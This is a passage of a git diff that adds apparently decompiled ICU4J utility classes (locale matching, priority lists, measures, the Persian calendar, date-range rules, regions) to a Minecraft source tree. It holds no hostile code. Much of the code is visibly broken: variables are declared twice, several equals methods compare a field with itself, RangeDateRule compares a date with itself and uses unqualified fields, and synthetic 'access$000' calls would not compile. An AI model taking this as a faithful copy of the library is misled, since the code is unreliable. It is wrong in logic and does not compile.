+      } else { double distance;
+        if (desiredChange == supportedChange) {
+          distance = 0.0D;
+        } else
+          distance = 0.25D * worst;
+      }
+      return distance;
+    }
+    
+
+
+    private double getRawScore(ULocale desiredLocale, ULocale supportedLocale)
+    {
+      for (Row.R3<LocaleMatcher.LocalePatternMatcher, LocaleMatcher.LocalePatternMatcher, Double> datum : scores) {
+        if ((((LocaleMatcher.LocalePatternMatcher)datum.get0()).matches(desiredLocale)) && (((LocaleMatcher.LocalePatternMatcher)datum.get1()).matches(supportedLocale)))
+        {
+
+
+
+          return ((Double)datum.get2()).doubleValue();
+        }
+      }
+      
+
+
+      return worst;
+    }
+    
+    public String toString() {
+      return level + ", " + scores;
+    }
+    
+    public ScoreData cloneAsThawed()
+    {
+      try {
+        ScoreData result = (ScoreData)clone();
+        scores = ((LinkedHashSet)scores.clone());
+        frozen = false;
+        return result;
+      } catch (CloneNotSupportedException e) {
+        throw new IllegalArgumentException(e);
+      }
+    }
+    
+
+    private boolean frozen = false;
+    
+    public ScoreData freeze() {
+      return this;
+    }
+    
+    public boolean isFrozen() {
+      return frozen;
+    }
+  }
+  
+  /**
+   * @deprecated
+   */
+  public static class LanguageMatcherData
+    implements Freezable<LanguageMatcherData>
+  {
+    LocaleMatcher.ScoreData languageScores = new LocaleMatcher.ScoreData(LocaleMatcher.Level.language);
+    LocaleMatcher.ScoreData scriptScores = new LocaleMatcher.ScoreData(LocaleMatcher.Level.script);
+    LocaleMatcher.ScoreData regionScores = new LocaleMatcher.ScoreData(LocaleMatcher.Level.region);
+    
+
+    /**
+     * @deprecated
+     */
+    public LanguageMatcherData() {}
+    
+
+    /**
+     * @deprecated
+     */
+    public double match(ULocale a, ULocale aMax, ULocale b, ULocale bMax)
+    {
+      double diff = 0.0D;
+      diff += languageScores.getScore(a, aMax, a.getLanguage(), aMax.getLanguage(), b, bMax, b.getLanguage(), bMax.getLanguage());
+      diff += scriptScores.getScore(a, aMax, a.getScript(), aMax.getScript(), b, bMax, b.getScript(), bMax.getScript());
+      diff += regionScores.getScore(a, aMax, a.getCountry(), aMax.getCountry(), b, bMax, b.getCountry(), bMax.getCountry());
+      
+      if (!a.getVariant().equals(b.getVariant())) {
+        diff += 1.0D;
+      }
+      if (diff < 0.0D) {
+        diff = 0.0D;
+      } else if (diff > 1.0D) {
+        diff = 1.0D;
+      }
+      return 1.0D - diff;
+    }
+    
+
+
+
+
+
+
+    /**
+     * @deprecated
+     */
+    private LanguageMatcherData addDistance(String desired, String supported, int percent)
+    {
+      return addDistance(desired, supported, percent, false, null);
+    }
+    
+    /**
+     * @deprecated
+     */
+    public LanguageMatcherData addDistance(String desired, String supported, int percent, String comment) {
+      return addDistance(desired, supported, percent, false, comment);
+    }
+    
+    /**
+     * @deprecated
+     */
+    public LanguageMatcherData addDistance(String desired, String supported, int percent, boolean oneway) {
+      return addDistance(desired, supported, percent, oneway, null);
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    private LanguageMatcherData addDistance(String desired, String supported, int percent, boolean oneway, String comment)
+    {
+      double score = 1.0D - percent / 100.0D;
+      LocaleMatcher.LocalePatternMatcher desiredMatcher = new LocaleMatcher.LocalePatternMatcher(desired);
+      LocaleMatcher.Level desiredLen = desiredMatcher.getLevel();
+      LocaleMatcher.LocalePatternMatcher supportedMatcher = new LocaleMatcher.LocalePatternMatcher(supported);
+      LocaleMatcher.Level supportedLen = supportedMatcher.getLevel();
+      if (desiredLen != supportedLen) {
+        throw new IllegalArgumentException();
+      }
+      Row.R3<LocaleMatcher.LocalePatternMatcher, LocaleMatcher.LocalePatternMatcher, Double> data = Row.of(desiredMatcher, supportedMatcher, Double.valueOf(score));
+      Row.R3<LocaleMatcher.LocalePatternMatcher, LocaleMatcher.LocalePatternMatcher, Double> data2 = oneway ? null : Row.of(supportedMatcher, desiredMatcher, Double.valueOf(score));
+      switch (LocaleMatcher.1.$SwitchMap$com$ibm$icu$util$LocaleMatcher$Level[desiredLen.ordinal()]) {
+      case 1: 
+        String dlanguage = desiredMatcher.getLanguage();
+        String slanguage = supportedMatcher.getLanguage();
+        languageScores.addDataToScores(dlanguage, slanguage, data);
+        if (!oneway) {
+          languageScores.addDataToScores(slanguage, dlanguage, data2);
+        }
+        break;
+      case 2: 
+        String dscript = desiredMatcher.getScript();
+        String sscript = supportedMatcher.getScript();
+        scriptScores.addDataToScores(dscript, sscript, data);
+        if (!oneway) {
+          scriptScores.addDataToScores(sscript, dscript, data2);
+        }
+        break;
+      case 3: 
+        String dregion = desiredMatcher.getRegion();
+        String sregion = supportedMatcher.getRegion();
+        regionScores.addDataToScores(dregion, sregion, data);
+        if (!oneway) {
+          regionScores.addDataToScores(sregion, dregion, data2);
+        }
+        break;
+      }
+      return this;
+    }
+    
+
+    /**
+     * @deprecated
+     */
+    public LanguageMatcherData cloneAsThawed()
+    {
+      try
+      {
+        LanguageMatcherData result = (LanguageMatcherData)clone();
+        languageScores = languageScores.cloneAsThawed();
+        scriptScores = scriptScores.cloneAsThawed();
+        regionScores = regionScores.cloneAsThawed();
+        frozen = false;
+        return result;
+      } catch (CloneNotSupportedException e) {
+        throw new IllegalArgumentException(e);
+      }
+    }
+    
+    private boolean frozen = false;
+    
+
+    /**
+     * @deprecated
+     */
+    public LanguageMatcherData freeze()
+    {
+      return this;
+    }
+    
+
+    /**
+     * @deprecated
+     */
+    public boolean isFrozen()
+    {
+      return frozen;
+    }
+  }
+  
+
+
+  private static LanguageMatcherData defaultWritten = LanguageMatcherData.access$000(LanguageMatcherData.access$000(LanguageMatcherData.access$000(LanguageMatcherData.access$100(LanguageMatcherData.access$000(LanguageMatcherData.access$000(LanguageMatcherData.access$000(LanguageMatcherData.access$000(LanguageMatcherData.access$000(LanguageMatcherData.access$000(LanguageMatcherData.access$000(LanguageMatcherData.access$000(new LanguageMatcherData().addDistance("no", "nb", 100, "The language no is normally taken as nb in content; we might alias this for lookup."), "nn", "nb", 96), "nn", "no", 96).addDistance("da", "no", 90, "Danish and norwegian are reasonably close."), "da", "nb", 90).addDistance("hr", "br", 96, "Serbo-croatian variants are all very close."), "sh", "br", 96), "sr", "br", 96), "sh", "hr", 96), "sr", "hr", 96), "sh", "sr", 96).addDistance("sr-Latn", "sr-Cyrl", 90, "Most serbs can read either script."), "*-Hans", "*-Hant", 85, true, "Readers of simplified can read traditional much better than reverse.").addDistance("*-Hant", "*-Hans", 75, true).addDistance("en-*-US", "en-*-CA", 98, "US is different than others, and Canadian is inbetween."), "en-*-US", "en-*-*", 97), "en-*-CA", "en-*-*", 98), "en-*-*", "en-*-*", 99).addDistance("es-*-ES", "es-*-ES", 100, "Latin American Spanishes are closer to each other. Approximate by having es-ES be further from everything else.").addDistance("es-*-ES", "es-*-*", 93).addDistance("*", "*", 1, "[Default value -- must be at end!] Normally there is no comprehension of different languages.").addDistance("*-*", "*-*", 20, "[Default value -- must be at end!] Normally there is little comprehension of different scripts.").addDistance("*-*-*", "*-*-*", 96, "[Default value -- must be at end!] Normally there are small differences across regions.").freeze();
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static HashMap<String, String> canonicalMap = new HashMap();
+  
+  static
+  {
+    canonicalMap.put("iw", "he");
+    canonicalMap.put("mo", "ro");
+    canonicalMap.put("tl", "fil");
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/LocalePriorityList.java b/src/minecraft/com/ibm/icu/util/LocalePriorityList.java
new file mode 100644
index 0000000..ece9d05
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/LocalePriorityList.java
@@ -0,0 +1,356 @@
+package com.ibm.icu.util;
+
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.Iterator;
+import java.util.LinkedHashMap;
+import java.util.LinkedHashSet;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import java.util.TreeMap;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class LocalePriorityList
+  implements Iterable<ULocale>
+{
+  private static final double D0 = 0.0D;
+  private static final Double D1 = Double.valueOf(1.0D);
+  
+  private static final Pattern languageSplitter = Pattern.compile("\\s*,\\s*");
+  private static final Pattern weightSplitter = Pattern.compile("\\s*(\\S*)\\s*;\\s*q\\s*=\\s*(\\S*)");
+  
+
+
+
+  private final Map<ULocale, Double> languagesAndWeights;
+  
+
+
+
+  public static Builder add(ULocale languageCode)
+  {
+    return new Builder(null).add(languageCode);
+  }
+  
+
+
+
+
+
+
+
+  public static Builder add(ULocale languageCode, double weight)
+  {
+    return new Builder(null).add(languageCode, weight);
+  }
+  
+
+
+
+
+
+
+  public static Builder add(LocalePriorityList languagePriorityList)
+  {
+    return new Builder(null).add(languagePriorityList);
+  }
+  
+
+
+
+
+
+
+
+  public static Builder add(String acceptLanguageString)
+  {
+    return new Builder(null).add(acceptLanguageString);
+  }
+  
+
+
+
+
+
+
+
+  public Double getWeight(ULocale language)
+  {
+    return (Double)languagesAndWeights.get(language);
+  }
+  
+
+
+
+
+  public String toString()
+  {
+    StringBuilder result = new StringBuilder();
+    for (ULocale language : languagesAndWeights.keySet()) {
+      if (result.length() != 0) {
+        result.append(", ");
+      }
+      result.append(language);
+      double weight = ((Double)languagesAndWeights.get(language)).doubleValue();
+      if (weight != D1.doubleValue()) {
+        result.append(";q=").append(weight);
+      }
+    }
+    return result.toString();
+  }
+  
+
+
+
+  public Iterator<ULocale> iterator()
+  {
+    return languagesAndWeights.keySet().iterator();
+  }
+  
+
+
+
+
+  public boolean equals(Object o)
+  {
+    if (o == null) {
+      return false;
+    }
+    if (this == o) {
+      return true;
+    }
+    try {
+      LocalePriorityList that = (LocalePriorityList)o;
+      return languagesAndWeights.equals(languagesAndWeights);
+    } catch (RuntimeException e) {}
+    return false;
+  }
+  
+
+
+
+
+
+  public int hashCode()
+  {
+    return languagesAndWeights.hashCode();
+  }
+  
+
+
+  private LocalePriorityList(Map<ULocale, Double> languageToWeight)
+  {
+    languagesAndWeights = languageToWeight;
+  }
+  
+
+
+
+
+
+
+
+  public static class Builder
+  {
+    private final Map<ULocale, Double> languageToWeight = new LinkedHashMap();
+    
+
+
+
+
+
+
+    private Builder() {}
+    
+
+
+
+
+
+    public LocalePriorityList build()
+    {
+      return build(false);
+    }
+    
+
+
+
+
+
+
+
+
+    public LocalePriorityList build(boolean preserveWeights)
+    {
+      Map<Double, Set<ULocale>> doubleCheck = new TreeMap(LocalePriorityList.myDescendingDouble);
+      
+      for (ULocale lang : languageToWeight.keySet()) {
+        Double weight = (Double)languageToWeight.get(lang);
+        Set<ULocale> s = (Set)doubleCheck.get(weight);
+        if (s == null) {
+          doubleCheck.put(weight, s = new LinkedHashSet());
+        }
+        s.add(lang);
+      }
+      
+
+      Map<ULocale, Double> temp = new LinkedHashMap();
+      for (Map.Entry<Double, Set<ULocale>> langEntry : doubleCheck.entrySet()) {
+        weight = (Double)langEntry.getKey();
+        for (ULocale lang : (Set)langEntry.getValue())
+          temp.put(lang, preserveWeights ? weight : LocalePriorityList.D1);
+      }
+      Double weight;
+      return new LocalePriorityList(Collections.unmodifiableMap(temp), null);
+    }
+    
+
+
+
+
+
+
+
+    public Builder add(LocalePriorityList languagePriorityList)
+    {
+      for (ULocale language : languagesAndWeights.keySet())
+      {
+        add(language, ((Double)languagesAndWeights.get(language)).doubleValue());
+      }
+      return this;
+    }
+    
+
+
+
+
+
+
+    public Builder add(ULocale languageCode)
+    {
+      return add(languageCode, LocalePriorityList.D1.doubleValue());
+    }
+    
+
+
+
+
+
+
+    public Builder add(ULocale... languageCodes)
+    {
+      for (ULocale languageCode : languageCodes) {
+        add(languageCode, LocalePriorityList.D1.doubleValue());
+      }
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+
+    public Builder add(ULocale languageCode, double weight)
+    {
+      if (languageToWeight.containsKey(languageCode)) {
+        languageToWeight.remove(languageCode);
+      }
+      if (weight <= 0.0D)
+        return this;
+      if (weight > LocalePriorityList.D1.doubleValue()) {
+        weight = LocalePriorityList.D1.doubleValue();
+      }
+      languageToWeight.put(languageCode, Double.valueOf(weight));
+      return this;
+    }
+    
+
+
+
+
+
+
+    public Builder add(String acceptLanguageList)
+    {
+      String[] items = LocalePriorityList.languageSplitter.split(acceptLanguageList.trim());
+      Matcher itemMatcher = LocalePriorityList.weightSplitter.matcher("");
+      for (String item : items) {
+        if (itemMatcher.reset(item).matches()) {
+          ULocale language = new ULocale(itemMatcher.group(1));
+          double weight = Double.parseDouble(itemMatcher.group(2));
+          if ((weight < 0.0D) || (weight > LocalePriorityList.D1.doubleValue())) {
+            throw new IllegalArgumentException("Illegal weight, must be 0..1: " + weight);
+          }
+          
+          add(language, weight);
+        } else if (item.length() != 0) {
+          add(new ULocale(item));
+        }
+      }
+      return this;
+    }
+  }
+  
+  private static Comparator<Double> myDescendingDouble = new Comparator() {
+    public int compare(Double o1, Double o2) {
+      return -o1.compareTo(o2);
+    }
+  };
+}
diff --git a/src/minecraft/com/ibm/icu/util/Measure.java b/src/minecraft/com/ibm/icu/util/Measure.java
new file mode 100644
index 0000000..b3716f2
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/Measure.java
@@ -0,0 +1,120 @@
+package com.ibm.icu.util;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class Measure
+{
+  private Number number;
+  
+
+
+
+
+
+
+
+
+
+
+  private MeasureUnit unit;
+  
+
+
+
+
+
+
+
+
+
+
+
+  protected Measure(Number number, MeasureUnit unit)
+  {
+    if ((number == null) || (unit == null)) {
+      throw new NullPointerException();
+    }
+    this.number = number;
+    this.unit = unit;
+  }
+  
+
+
+
+
+  public boolean equals(Object obj)
+  {
+    if (obj == null) return false;
+    if (obj == this) return true;
+    try {
+      Measure m = (Measure)obj;
+      return (unit.equals(unit)) && (numbersEqual(number, number));
+    } catch (ClassCastException e) {}
+    return false;
+  }
+  
+
+
+
+
+
+
+
+  private static boolean numbersEqual(Number a, Number b)
+  {
+    if (a.equals(b)) {
+      return true;
+    }
+    if (a.doubleValue() == b.doubleValue()) {
+      return true;
+    }
+    return false;
+  }
+  
+
+
+
+
+  public int hashCode()
+  {
+    return number.hashCode() ^ unit.hashCode();
+  }
+  
+
+
+
+
+
+  public String toString()
+  {
+    return number.toString() + ' ' + unit.toString();
+  }
+  
+
+
+
+
+  public Number getNumber()
+  {
+    return number;
+  }
+  
+
+
+
+
+  public MeasureUnit getUnit()
+  {
+    return unit;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/MeasureUnit.java b/src/minecraft/com/ibm/icu/util/MeasureUnit.java
new file mode 100644
index 0000000..b6485ee
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/MeasureUnit.java
@@ -0,0 +1,9 @@
+package com.ibm.icu.util;
+
+public abstract class MeasureUnit
+{
+  /**
+   * @deprecated
+   */
+  protected MeasureUnit() {}
+}
diff --git a/src/minecraft/com/ibm/icu/util/Output.java b/src/minecraft/com/ibm/icu/util/Output.java
new file mode 100644
index 0000000..5e76566
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/Output.java
@@ -0,0 +1,45 @@
+package com.ibm.icu.util;
+
+
+
+
+
+
+
+
+
+
+public class Output<T>
+{
+  public T value;
+  
+
+
+
+
+
+
+
+
+  public String toString()
+  {
+    return value == null ? "null" : value.toString();
+  }
+  
+
+
+
+
+
+  public Output() {}
+  
+
+
+
+
+
+  public Output(T value)
+  {
+    this.value = value;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/OverlayBundle.java b/src/minecraft/com/ibm/icu/util/OverlayBundle.java
new file mode 100644
index 0000000..96638aa
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/OverlayBundle.java
@@ -0,0 +1,176 @@
+package com.ibm.icu.util;
+
+import java.util.Enumeration;
+import java.util.Locale;
+import java.util.MissingResourceException;
+import java.util.ResourceBundle;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+/**
+ * @deprecated
+ */
+public class OverlayBundle
+  extends ResourceBundle
+{
+  private String[] baseNames;
+  private Locale locale;
+  private ResourceBundle[] bundles;
+  
+  /**
+   * @deprecated
+   */
+  public OverlayBundle(String[] baseNames, Locale locale)
+  {
+    this.baseNames = baseNames;
+    this.locale = locale;
+    bundles = new ResourceBundle[baseNames.length];
+  }
+  
+
+
+
+  /**
+   * @deprecated
+   */
+  protected Object handleGetObject(String key)
+    throws MissingResourceException
+  {
+    Object o = null;
+    
+    for (int i = 0; i < bundles.length; i++) {
+      load(i);
+      try {
+        o = bundles[i].getObject(key);
+      } catch (MissingResourceException e) {
+        if (i == bundles.length - 1) {
+          throw e;
+        }
+      }
+      if (o != null) {
+        break;
+      }
+    }
+    
+    return o;
+  }
+  
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public Enumeration<String> getKeys()
+  {
+    int i = bundles.length - 1;
+    load(i);
+    return bundles[i].getKeys();
+  }
+  
+
+
+
+  private void load(int i)
+    throws MissingResourceException
+  {
+    if (bundles[i] == null) {
+      boolean tryWildcard = false;
+      try {
+        bundles[i] = ResourceBundle.getBundle(baseNames[i], locale);
+        if (bundles[i].getLocale().equals(locale)) {
+          return;
+        }
+        if ((locale.getCountry().length() != 0) && (i != bundles.length - 1)) {
+          tryWildcard = true;
+        }
+      } catch (MissingResourceException e) {
+        if (i == bundles.length - 1) {
+          throw e;
+        }
+        tryWildcard = true;
+      }
+      if (tryWildcard) {
+        Locale wildcard = new Locale("xx", locale.getCountry(), locale.getVariant());
+        try
+        {
+          bundles[i] = ResourceBundle.getBundle(baseNames[i], wildcard);
+        } catch (MissingResourceException e) {
+          if (bundles[i] == null) {
+            throw e;
+          }
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/PersianCalendar.java b/src/minecraft/com/ibm/icu/util/PersianCalendar.java
new file mode 100644
index 0000000..43b3aaa
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/PersianCalendar.java
@@ -0,0 +1,434 @@
+package com.ibm.icu.util;
+
+import java.util.Date;
+import java.util.Locale;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+/**
+ * @deprecated
+ */
+public class PersianCalendar
+  extends Calendar
+{
+  private static final long serialVersionUID = -6727306982975111643L;
+  private static final int[][] MONTH_COUNT = { { 31, 31, 0 }, { 31, 31, 31 }, { 31, 31, 62 }, { 31, 31, 93 }, { 31, 31, 124 }, { 31, 31, 155 }, { 30, 30, 186 }, { 30, 30, 216 }, { 30, 30, 246 }, { 30, 30, 276 }, { 30, 30, 306 }, { 29, 30, 336 } };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final int PERSIAN_EPOCH = 1948320;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public PersianCalendar()
+  {
+    this(TimeZone.getDefault(), ULocale.getDefault(ULocale.Category.FORMAT));
+  }
+  
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public PersianCalendar(TimeZone zone)
+  {
+    this(zone, ULocale.getDefault(ULocale.Category.FORMAT));
+  }
+  
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public PersianCalendar(Locale aLocale)
+  {
+    this(TimeZone.getDefault(), aLocale);
+  }
+  
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public PersianCalendar(ULocale locale)
+  {
+    this(TimeZone.getDefault(), locale);
+  }
+  
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public PersianCalendar(TimeZone zone, Locale aLocale)
+  {
+    super(zone, aLocale);
+    setTimeInMillis(System.currentTimeMillis());
+  }
+  
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public PersianCalendar(TimeZone zone, ULocale locale)
+  {
+    super(zone, locale);
+    setTimeInMillis(System.currentTimeMillis());
+  }
+  
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public PersianCalendar(Date date)
+  {
+    super(TimeZone.getDefault(), ULocale.getDefault(ULocale.Category.FORMAT));
+    setTime(date);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public PersianCalendar(int year, int month, int date)
+  {
+    super(TimeZone.getDefault(), ULocale.getDefault(ULocale.Category.FORMAT));
+    set(1, year);
+    set(2, month);
+    set(5, date);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public PersianCalendar(int year, int month, int date, int hour, int minute, int second)
+  {
+    super(TimeZone.getDefault(), ULocale.getDefault(ULocale.Category.FORMAT));
+    set(1, year);
+    set(2, month);
+    set(5, date);
+    set(11, hour);
+    set(12, minute);
+    set(13, second);
+  }
+  
+
+
+
+
+  private static final int[][] LIMITS = { { 0, 0, 0, 0 }, { -5000000, -5000000, 5000000, 5000000 }, { 0, 0, 11, 11 }, { 1, 1, 52, 53 }, new int[0], { 1, 1, 29, 31 }, { 1, 1, 365, 366 }, new int[0], { -1, -1, 5, 5 }, new int[0], new int[0], new int[0], new int[0], new int[0], new int[0], new int[0], new int[0], { -5000000, -5000000, 5000000, 5000000 }, new int[0], { -5000000, -5000000, 5000000, 5000000 }, new int[0], new int[0] };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  protected int handleGetLimit(int field, int limitType)
+  {
+    return LIMITS[field][limitType];
+  }
+  
+
+
+
+
+
+
+
+  private static final boolean isLeapYear(int year)
+  {
+    int[] remainder = new int[1];
+    floorDivide(25 * year + 11, 33, remainder);
+    return remainder[0] < 8;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  protected int handleGetMonthLength(int extendedYear, int month)
+  {
+    if ((month < 0) || (month > 11)) {
+      int[] rem = new int[1];
+      extendedYear += floorDivide(month, 12, rem);
+      month = rem[0];
+    }
+    
+    return MONTH_COUNT[month][0];
+  }
+  
+
+
+  /**
+   * @deprecated
+   */
+  protected int handleGetYearLength(int extendedYear)
+  {
+    return isLeapYear(extendedYear) ? 366 : 365;
+  }
+  
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  protected int handleComputeMonthStart(int eyear, int month, boolean useMonth)
+  {
+    if ((month < 0) || (month > 11)) {
+      int[] rem = new int[1];
+      eyear += floorDivide(month, 12, rem);
+      month = rem[0];
+    }
+    
+    int julianDay = 1948319 + 365 * (eyear - 1) + floorDivide(8 * eyear + 21, 33);
+    if (month != 0) {
+      julianDay += MONTH_COUNT[month][2];
+    }
+    return julianDay;
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  protected int handleGetExtendedYear()
+  {
+    int year;
+    
+    int year;
+    
+    if (newerField(19, 1) == 19) {
+      year = internalGet(19, 1);
+    } else {
+      year = internalGet(1, 1);
+    }
+    return year;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  protected void handleComputeFields(int julianDay)
+  {
+    long daysSinceEpoch = julianDay - 1948320;
+    int year = 1 + (int)floorDivide(33L * daysSinceEpoch + 3L, 12053L);
+    
+    long farvardin1 = 365 * (year - 1) + floorDivide(8 * year + 21, 33);
+    int dayOfYear = (int)(daysSinceEpoch - farvardin1);
+    int month; int month; if (dayOfYear < 216) {
+      month = dayOfYear / 31;
+    } else {
+      month = (dayOfYear - 6) / 30;
+    }
+    int dayOfMonth = dayOfYear - MONTH_COUNT[month][2] + 1;
+    dayOfYear++;
+    
+    internalSet(0, 0);
+    internalSet(1, year);
+    internalSet(19, year);
+    internalSet(2, month);
+    internalSet(5, dayOfMonth);
+    internalSet(6, dayOfYear);
+  }
+  
+
+
+  /**
+   * @deprecated
+   */
+  public String getType()
+  {
+    return "persian";
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/Range.java b/src/minecraft/com/ibm/icu/util/Range.java
new file mode 100644
index 0000000..540f66e
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/Range.java
@@ -0,0 +1,166 @@
+package com.ibm.icu.util;
+
+import java.util.Date;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class Range
+{
+  public Date start;
+  public DateRule rule;
+  
+  public Range(Date start, DateRule rule)
+  {
+    this.start = start;
+    this.rule = rule;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/RangeDateRule.java b/src/minecraft/com/ibm/icu/util/RangeDateRule.java
new file mode 100644
index 0000000..a83f3e2
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/RangeDateRule.java
@@ -0,0 +1,155 @@
+package com.ibm.icu.util;
+
+import java.util.ArrayList;
+import java.util.Date;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class RangeDateRule
+  implements DateRule
+{
+  public RangeDateRule() {}
+  
+  public void add(DateRule rule)
+  {
+    add(new Date(Long.MIN_VALUE), rule);
+  }
+  
+
+
+
+
+
+  public void add(Date start, DateRule rule)
+  {
+    ranges.add(new Range(start, rule));
+  }
+  
+
+
+
+
+
+
+  public Date firstAfter(Date start)
+  {
+    int index = startIndex(start);
+    if (index == ranges.size()) {
+      index = 0;
+    }
+    Date result = null;
+    
+    Range r = rangeAt(index);
+    Range e = rangeAt(index + 1);
+    
+    if ((r != null) && (rule != null))
+    {
+      if (e != null) {
+        result = rule.firstBetween(start, start);
+      } else {
+        result = rule.firstAfter(start);
+      }
+    }
+    return result;
+  }
+  
+
+
+
+  public Date firstBetween(Date start, Date end)
+  {
+    if (end == null) {
+      return firstAfter(start);
+    }
+    
+
+    int index = startIndex(start);
+    Date result = null;
+    
+    Range next = rangeAt(index);
+    
+    while ((result == null) && (next != null) && (!start.after(end)))
+    {
+      Range r = next;
+      next = rangeAt(index + 1);
+      
+      if (rule != null) {
+        Date e = (next != null) && (!start.after(end)) ? start : end;
+        
+        result = rule.firstBetween(start, e);
+      }
+    }
+    return result;
+  }
+  
+
+
+
+  public boolean isOn(Date date)
+  {
+    Range r = rangeAt(startIndex(date));
+    return (r != null) && (rule != null) && (rule.isOn(date));
+  }
+  
+
+
+
+
+
+  public boolean isBetween(Date start, Date end)
+  {
+    return firstBetween(start, end) == null;
+  }
+  
+
+
+
+  private int startIndex(Date start)
+  {
+    int lastIndex = ranges.size();
+    
+    for (int i = 0; i < ranges.size(); i++) {
+      Range r = (Range)ranges.get(i);
+      if (start.before(start)) {
+        break;
+      }
+      lastIndex = i;
+    }
+    return lastIndex;
+  }
+  
+  private Range rangeAt(int index) {
+    return index < ranges.size() ? (Range)ranges.get(index) : null;
+  }
+  
+
+  List<Range> ranges = new ArrayList(2);
+}
diff --git a/src/minecraft/com/ibm/icu/util/RangeValueIterator.java b/src/minecraft/com/ibm/icu/util/RangeValueIterator.java
new file mode 100644
index 0000000..d6e7967
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/RangeValueIterator.java
@@ -0,0 +1,17 @@
+package com.ibm.icu.util;
+
+public abstract interface RangeValueIterator
+{
+  public abstract boolean next(Element paramElement);
+  
+  public abstract void reset();
+  
+  public static class Element
+  {
+    public int start;
+    public int limit;
+    public int value;
+    
+    public Element() {}
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/Region.java b/src/minecraft/com/ibm/icu/util/Region.java
new file mode 100644
index 0000000..303f0f7
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/Region.java
@@ -0,0 +1,600 @@
+package com.ibm.icu.util;
+
+import com.ibm.icu.impl.ICUResourceBundle;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.TreeSet;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Region
+  implements Comparable<Region>
+{
+  public static final int UNDEFINED_NUMERIC_CODE = -1;
+  private String id;
+  private int code;
+  private RegionType type;
+  private Region() {}
+  
+  public static enum RegionType
+  {
+    UNKNOWN, 
+    
+
+
+
+
+
+    TERRITORY, 
+    
+
+
+
+
+
+    WORLD, 
+    
+
+
+
+
+    CONTINENT, 
+    
+
+
+
+
+    SUBCONTINENT, 
+    
+
+
+
+
+
+    GROUPING, 
+    
+
+
+
+
+
+    DEPRECATED;
+    
+
+
+
+
+
+    private RegionType() {}
+  }
+  
+
+
+
+
+  private Region containingRegion = null;
